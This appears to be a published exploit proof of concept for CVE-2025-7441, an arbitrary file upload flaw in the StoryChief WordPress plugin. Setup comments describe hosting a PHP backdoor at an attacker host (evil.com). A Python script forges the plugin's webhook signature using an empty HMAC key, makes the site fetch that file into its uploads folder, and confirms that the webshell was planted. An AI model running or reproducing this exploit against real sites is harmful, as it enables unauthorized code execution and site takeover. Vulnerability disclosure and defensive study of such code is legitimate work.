StoryChief WordPress Plugin 1.0.42 – Arbitrary File Upload
# Exploit Title: StoryChief Wordpress Plugin 1.0.42 - Arbitrary File Upload # Exploit Author: xpl0dec # Vendor Homepage: https://www.storychief.io/wordpress-content-scheduler # Software Link: https://github.com/Story-Chief/wordpress/ # Version: <= 1.0.42 # Tested on: Linux # CVE : CVE-2025-7441 # CVSS Score : 9.8 # Step to reproduce : # 1. Create a file with the .php extension and fill it with: # <?php # header(“Content-Type: image/jpeg”); # echo “<?php phpinfo(); ?>”; # ?> # 2. Adjust the echo phpinfo section as needed # 3. Host it on a VPS/web server with the name you want to upload, for example backdoor.php # 4. The second argument is the URL of the backdoor created earlier, e.g., http://evil.com/backdoor.php # 5. Then run the exploit: python3 CVE-2025-7441.py <wordpress_url> <backdoor_url> from datetime import datetime import requests import json import hmac import hashlib import sys import time import os def banner(): print(r""" _ _ ____ _____ _ _ _____ _ __ ____ _ __ __ | \ | |/ ___| ____| | | | ____| |/ / | _ \ / \\ \ / / | \| | | _| _| | |_| | _| | ' / | | | |/ _ \\ V / | |\ | |_| | |___| _ | |___| . \ | |_| / ___ \| | |_| \_|\____|_____|_| |_|_____|_|\_\ |____/_/ \_\_| PoC exploit CVE-2025-7441 by xpl0dec """) if __name__ == "__main__": banner() if len(sys.argv) != 3: print(f"Usage: {sys.argv[0]} <target_url> <backdoor_url>") sys.exit(1) url = sys.argv[1] + "/wp-json/storychief/webhook" dummy = { "meta": { "event": "publish" }, "data": { "featured_image": { "data": { "sizes": { "full": sys.argv[2] } } } } } json_string = json.dumps(dummy, separators=(',', ':'), ensure_ascii=True) json_string = json_string.replace("/", "\\/").encode() signature = hmac.new( "".encode(), json_string, digestmod=hashlib.sha256 ).hexdigest() headers = { "Content-Type": "application/json" } payload = { "meta": { "mac" : signature, "event": "publish" }, "data": { "featured_image": { "data": { "sizes": { "full": sys.argv[2] } } } } } print("[+] get hmac... [+]") time.sleep(2) print("hmac : " + signature) response = requests.post(url, headers=headers, data=json.dumps(payload)) if "permalink" in response.text: print("[+] Response Success [+]") time.sleep(2) print("[+] Check backdoor from uploaded... [+]") current_datetime = datetime.now() month = str(current_datetime.month).zfill(2) year = current_datetime.year file_backdoor = os.path.basename(sys.argv[2]) get_backdoor = requests.get(sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}") if get_backdoor.status_code == 200: print("[+] Exploitation Success [+]") time.sleep(2) print("webshell uploaded in : " + sys.argv[1] + f"/wp-content/uploads/{year}/{month}/{file_backdoor}") |